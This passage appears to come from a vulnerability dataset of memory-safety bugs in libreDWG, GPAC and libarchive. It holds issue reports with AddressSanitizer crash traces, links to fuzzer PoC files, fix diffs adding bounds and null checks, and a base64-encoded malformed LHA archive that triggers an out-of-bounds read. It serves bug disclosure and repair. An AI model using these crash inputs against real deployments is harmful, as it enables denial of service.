fa fa fa fa fa fa fa fa fa 0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4460==ABORTING ``` --- Comment #2 by linhlhq: **3.heap-buffer-overflow in htmlescape ../../programs/escape.c:51** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000015%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46436 ASAN says: ``` ==1959==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044c67 at pc 0x7f57a7a3f66e bp 0x7fff31617330 sp 0x7fff31616ad8 READ of size 16 at 0x603000044c67 thread T0 #0 0x7f57a7a3f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x561c57375e53 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128 #2 0x561c57375e53 in htmlescape ../../programs/escape.c:51 #3 0x561c57373bb5 in output_TEXT ../../programs/dwg2SVG.c:113 #4 0x561c57373bb5 in output_object ../../programs/dwg2SVG.c:312 #5 0x561c57373bb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #6 0x561c57371477 in output_SVG ../../programs/dwg2SVG.c:411 #7 0x561c57371477 in main ../../programs/dwg2SVG.c:525 #8 0x7f57a7280b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x561c57371d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x603000044c67 is located 0 bytes to the right of 23-byte region [0x603000044c50,0x603000044c67) allocated by thread T0 here: #0 0x7f57a7accb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x561c57375de0 in htmlescape ../../programs/escape.c:30 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c0680000930: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa 0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa 0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa 0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 =>0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa 00 00[07]fa fa fa 0x0c0680000990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1959==ABORTING ``` --- Comment #3 by linhlhq: **4.NULL pointer dereference in output_TEXT ../../programs/dwg2SVG.c:114** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000020%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:138350 ASAN says: ``` ================================================================= ==25992==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55e38790e95d bp 0x7ffffbed38d0 sp 0x7ffffbed37b0 T0) ==25992==The signal is caused by a READ memory access. ==25992==Hint: address points to the zero page. #0 0x55e38790e95c in output_TEXT ../../programs/dwg2SVG.c:114 #1 0x55e38790e95c in output_object ../../programs/dwg2SVG.c:312 #2 0x55e38790e95c in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #3 0x55e38790d477 in output_SVG ../../programs/dwg2SVG.c:411 #4 0x55e38790d477 in main ../../programs/dwg2SVG.c:525 #5 0x7f08b41b1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x55e38790dd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ../../programs/dwg2SVG.c:114 in output_TEXT ==25992==ABORTING ``` --- Comment #4 by linhlhq: **5.heap-buffer-overflow in output_TEXT ../../programs/dwg2SVG.c:114** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000109%2Csig:06%2Csrc:001432%2B002572%2Cop:splice%2Crep:2 ASAN says: ``` ================================================================= ==17789==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000048c0 at pc 0x56426727812a bp 0x7ffe21f09bc0 sp 0x7ffe21f09bb0 READ of size 8 at 0x6030000048c0 thread T0 #0 0x564267278129 in output_TEXT ../../programs/dwg2SVG.c:114 #1 0x564267278129 in output_object ../../programs/dwg2SVG.c:312 #2 0x564267278129 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #3 0x564267274544 in output_SVG ../../programs/dwg2SVG.c:418 #4 0x564267274544 in main ../../programs/dwg2SVG.c:525 #5 0x7f4960f03b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x564267274d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x6030000048c0 is located 0 bytes to the right of 32-byte region [0x6030000048a0,0x6030000048c0) allocated by thread T0 here: #0 0x7f496174fd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38) #1 0x56426731003d in dwg_decode_handleref_with_code ../../src/decode.c:3890 SUMMARY: AddressSanitizer: heap-buffer-overflow ../../programs/dwg2SVG.c:114 in output_TEXT Shadow bytes around the buggy address: 0x0c067fff88c0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff88d0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff88e0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff88f0: 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 0x0c067fff8900: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 =>0x0c067fff8910: 00 fa fa fa 00 00 00 00[fa]fa 00 00 00 00 fa fa 0x0c067fff8920: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8930: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8940: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8950: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8960: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==17789==ABORTING ``` --- Comment #5 by linhlhq: **6.heap-buffer-overflow in htmlwescape ../../programs/escape.c:97** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000025%2Csig:06%2Csrc:000804%2Cop:havoc%2Crep:2 ASAN says: ``` ================================================================= ==19465==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000725c at pc 0x7f769710266e bp 0x7ffef73ec550 sp 0x7ffef73ebcf8 READ of size 28 at 0x60300000725c thread T0 #0 0x7f769710266d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x55d1b06549e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128 #2 0x55d1b06549e7 in htmlwescape ../../programs/escape.c:97 #3 0x55d1b0650235 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:359 #4 0x55d1b064f503 in output_SVG ../../programs/dwg2SVG.c:413 #5 0x55d1b064f503 in main ../../programs/dwg2SVG.c:525 #6 0x7f7696943b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x55d1b064fd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x60300000725c is located 0 bytes to the right of 28-byte region [0x603000007240,0x60300000725c) allocated by thread T0 here: #0 0x7f769718fb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55d1b06543f2 in htmlwescape ../../programs/escape.c:79 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c067fff8df0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa 0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa 0x0c067fff8e10: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8e20: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8e30: 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 =>0x0c067fff8e40: fa fa fd fd fd fd fa fa 00 00 00[04]fa fa fa fa 0x0c067fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==19465==ABORTING ``` --- Comment #6 by linhlhq: **7.heap-buffer-overflow in htmlescape ../../programs/escape.c:48** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000144%2Csig:06%2Csrc:005649%2Cop:havoc%2Crep:2 ASAN says: ``` ==9632==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000abd at pc 0x7f1b8c9f066e bp 0x7ffe890ea740 sp 0x7ffe890e9ee8 READ of size 10 at 0x604000000abd thread T0 #0 0x7f1b8c9f066d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x55ff72e70067 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128 #2 0x55ff72e70067 in htmlescape ../../programs/escape.c:48 #3 0x55ff72e6dbb5 in output_TEXT ../../programs/dwg2SVG.c:113 #4 0x55ff72e6dbb5 in output_object ../../programs/dwg2SVG.c:312 #5 0x55ff72e6dbb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #6 0x55ff72e6b544 in output_SVG ../../programs/dwg2SVG.c:418 #7 0x55ff72e6b544 in main ../../programs/dwg2SVG.c:525 #8 0x7f1b8c231b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x55ff72e6bd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x604000000abd is located 0 bytes to the right of 45-byte region [0x604000000a90,0x604000000abd) allocated by thread T0 here: #0 0x7f1b8ca7df40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40) #1 0x55ff72e6ffa1 in htmlescape ../../programs/escape.c:39 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c087fff8100: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa 0x0c087fff8110: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fff8120: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa 0x0c087fff8130: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 05 fa 0x0c087fff8140: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa =>0x0c087fff8150: fa fa 00 00 00 00 00[05]fa fa fa fa fa fa fa fa 0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==9632==ABORTING ``` --- Comment #7 by linhlhq: **8.heap-buffer-overflow in htmlwescape ../../programs/escape.c:97** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000099%2Csig:06%2Csrc:005125%2B003017%2Cop:splice%2Crep:8 ASAN says: ``` ==682==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000019fa at pc 0x7ff79912866e bp 0x7ffdca846b10 sp 0x7ffdca8462b8 READ of size 28 at 0x6040000019fa thread T0 #0 0x7ff79912866d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x5586562889e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128 #2 0x5586562889e7 in htmlwescape ../../programs/escape.c:97 #3 0x5586562848de in output_TEXT ../../programs/dwg2SVG.c:111 #4 0x5586562848de in output_object ../../programs/dwg2SVG.c:312 #5 0x5586562848de in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #6 0x558656283477 in output_SVG ../../programs/dwg2SVG.c:411 #7 0x558656283477 in main ../../programs/dwg2SVG.c:525 #8 0x7ff798969b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x558656283d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x6040000019fa is located 0 bytes to the right of 42-byte region [0x6040000019d0,0x6040000019fa) allocated by thread T0 here: #0 0x7ff7991b5b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x5586562883f2 in htmlwescape ../../programs/escape.c:79 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c087fff82e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00 0x0c087fff82f0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa 0x0c087fff8300: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa 0x0c087fff8310: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa 0x0c087fff8320: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa =>0x0c087fff8330: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00[02] 0x0c087fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==682==ABORTING ``` --- Comment #8 by rurban: Nice! I haven't fuzzed that yet. --- Comment #9 by linhlhq: ya, I really like fuzz libreDWG because you are very hard working and dedicated to this libreDWG. I hope one day it will be safer.
https://nvd.nist.gov/vuln/detail/CVE-2020-21816
gpac.cve-2023-46929
An issue discovered in GPAC 2.3-DEV-rev605-gfc9e29089-master in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 allows attackers to crash the application.
https://github.com/gpac/gpac/issues/2662
https://github.com/gpac/gpac/commit/4248def5d24325aeb0e35cacde3d56c9411816a6
CWE-20
gpac/gpac
4248def5d24325aeb0e35cacde3d56c9411816a6~1
diff --git a/src/media_tools/av_parsers.c b/src/media_tools/av_parsers.c index 43c3200b90..84e6601b64 100644 --- a/src/media_tools/av_parsers.c +++ b/src/media_tools/av_parsers.c @@ -6865,6 +6865,9 @@ GF_Err gf_avc_change_vui(GF_AVCConfig *avcc, GF_VUIInfo *vui_info) GF_AVCConfigSlot *slc; orig = NULL; + if (!avcc) + return GF_NON_COMPLIANT_BITSTREAM; + memset(&avc, 0, sizeof(AVCState)); avc.sps_active_idx = -1;
https://github.com/gpac/gpac/issues/2662
AddressSanitizer:DEADLYSIGNAL ================================================================= ==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0) ==3037856==The signal is caused by a READ memory access. ==3037856==Hint: address points to the zero page. #0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 #1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9 #2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3 #3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9 #4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c #5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13 #6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui ==3037856==ABORTING
=== https://github.com/gpac/gpac/issues/2662 === Title: SEGV in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 --- Body: # SEGV in MP4Box ### Description SEGV in gpac/MP4Box. #0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac ```shell AddressSanitizer:DEADLYSIGNAL ================================================================= ==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0) ==3037856==The signal is caused by a READ memory access. ==3037856==Hint: address points to the zero page. #0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 #1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9 #2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3 #3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9 #4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c #5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13 #6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui ==3037856==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac ``` ### PoC poc2gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc2gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan
https://nvd.nist.gov/vuln/detail/CVE-2023-46929
gpac.cve-2024-0321
Stack-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3-DEV.
https://huntr.com/bounties/4c027b94-8e9c-4c31-a169-893b25047769
https://github.com/gpac/gpac/commit/d0ced41651b279bb054eb6390751e2d4eb84819a
CWE-121, CWE-787
gpac/gpac
d0ced41651b279bb054eb6390751e2d4eb84819a~1
diff --git a/src/filters/load_text.c b/src/filters/load_text.c index 6373398228..877b285a80 100644 --- a/src/filters/load_text.c +++ b/src/filters/load_text.c @@ -377,6 +377,10 @@ char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicod GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] Line too long to convert to utf8 (len: %d)\n", len)); j = GF_ARRAY_LENGTH(szLineConv) -1 ; } + if ( j >= lineSize ) { + GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] UT8 converted line too long for buffer (len: %d, buffer: %d)\n", j, lineSize)); + j = lineSize-1 ; + } szLineConv[j] = 0; strcpy(szLine, szLineConv); return sOK;
https://nvd.nist.gov/vuln/detail/CVE-2024-0321
libarchive.cve-2017-14503
libarchive 3.3.2 suffers from an out-of-bounds read within lha_read_data_none() in archive_read_support_format_lha.c when extracting a specially crafted lha archive, related to lha_crc16.
CWE-125
libarchive/libarchive
https://bugs.debian.org/875960, https://github.com/libarchive/libarchive/issues/948
==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8 READ of size 2 at 0x631000024800 thread T0 #0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740 #1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429 #2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390 #3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986 #4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161 #5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101 #6 0x56536bde0c1e in read_archive tar/read.c:369 #7 0x56536bddf303 in tar_mode_x tar/read.c:112 #8 0x56536bddc62d in main tar/bsdtar.c:866 #9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79) 0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800) allocated by thread T0 here: #0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70) #1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358 #2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480 #3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152 #4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109 #5 0x56536bddfed2 in read_archive tar/read.c:222 #6 0x56536bddf303 in tar_mode_x tar/read.c:112 #7 0x56536bddc62d in main tar/bsdtar.c:866 #8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16 Shadow bytes around the buggy address: 0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==21722==ABORTING
ASan (inferred)
=== https://github.com/libarchive/libarchive/issues/948 === Title: out-of-bounds read in lha_read_data_none() --- Body: Hi The following was reported downstream in Debian at https://bugs.debian.org/875960 The `oob.lha` base64 encoded is: ```` YQAtbGgwLQwAAAAMAAAAADs9SyACeJdNBwBh5AQAAAwAAWhlbGxvLnR4dBMAQv9zdWJkaXL/c3Vi ZGlyMv8bAEEAAG5cdYrKAQAAblx1in8fAORrn6AjzQEGAADnVA8AADA= ```` tested against 5562545b5562f6d12a4ef991fae158bf4ccf92b6: ``` ASAN_OPTIONS="detect_leaks=0" ./bsdtar -xOf ~/oob.lha ================================================================= ==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8 READ of size 2 at 0x631000024800 thread T0 #0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740 #1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429 #2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390 #3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986 #4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161 #5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101 #6 0x56536bde0c1e in read_archive tar/read.c:369 #7 0x56536bddf303 in tar_mode_x tar/read.c:112 #8 0x56536bddc62d in main tar/bsdtar.c:866 #9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79) 0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800) allocated by thread T0 here: #0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70) #1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358 #2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480 #3 0x56536be186ba in 